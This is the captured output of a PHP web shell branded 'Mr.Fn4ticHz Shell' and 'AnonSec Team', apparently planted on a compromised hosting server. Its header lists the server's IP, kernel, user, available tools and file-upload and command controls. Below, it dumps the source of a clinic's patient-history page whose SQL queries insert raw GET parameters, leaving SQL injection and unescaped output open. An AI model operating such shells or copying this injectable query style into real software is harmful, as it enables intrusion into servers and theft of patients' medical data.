Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.15.137.59
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/show_Medical_surgical_History.php



   <?php
  	$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo"
		    <h3 align='right'><a href='edit_showpage_Medical_surgical_History.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'>Edit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></h3>";
		}
		?>


<table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th><strong>Medical Assessment</strong></th>
          <th><strong>Status</strong></th> 
          <th><strong>Edit</strong></th>
                </tr>
                  </thead>
                  
                 
<?php
		$sql ="SELECT * FROM medi_condition_final WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[medicalcon]  &nbsp; <B>$rs[Specify]</B></td>     
            <td>&nbsp;$rs[Status]</td>
            <td><a href='edit_medicalcon.php?patientid=$rs[patientid]&medicalcoid=$rs[medicalcoid]'>Edit</a></td>
				
          </tr>                   
          
          ";
}
?>   
 
        <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th><strong>Allergies</strong></th>
          <th><strong>Category</strong></th> 
          <th><strong>Edit</strong></th>
                </tr>
                  </thead>
				<?php
		$sql ="SELECT * FROM allergy WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($ra = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
  
     <tr>   <td>&nbsp;$ra[Allergen]</td>     
            <td>&nbsp;$ra[Category]</td>
            <td><a href='edit_alg.php?patientid=$ra[patientid]&allergy_id=$ra[allergy_id]'>Edit</a></td>
				
          </tr>                   
          
          ";
}
?>        </tr>
              
              </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table> 
         <table id="example2" class="table table-bordered table-hover">
        <?php
		$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]'";
		$qsql = mysqli_query($con,$sql);
	if($ra = mysqli_fetch_array($qsql))
		{
if($ra[Information_Obtained_from] == 'Family-Other'){
echo "
<tr> <td>Information Obtained from</td>     
     <td>&nbsp;<b>$ra[specify]/$ra[relation]</b></td> </tr>                   
          ";
}
else
{
echo "
<tr> <td>Information Obtained from</td>     
     <td>&nbsp;$ra[Information_Obtained_from]</td> </tr>                   
          ";
}
}
?>        </tr>
              
              </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table> 
        <?php
    $sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rs[Addiction])
{
?>

<h3 align='center'>Addiction </h3>
<?php
  	$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Tobacco'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Tobacco: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Alcohol'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Alcohol: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Smoking'];
if($usertype == 'on'){
    echo " <tr><td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Smoking: </td>
<td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>";
} else{
    echo "";
}
}
?>


	

	
		 	  <?php
}
}
?>



	
	</table>
        
        

Anon7 - 2022
AnonSec Team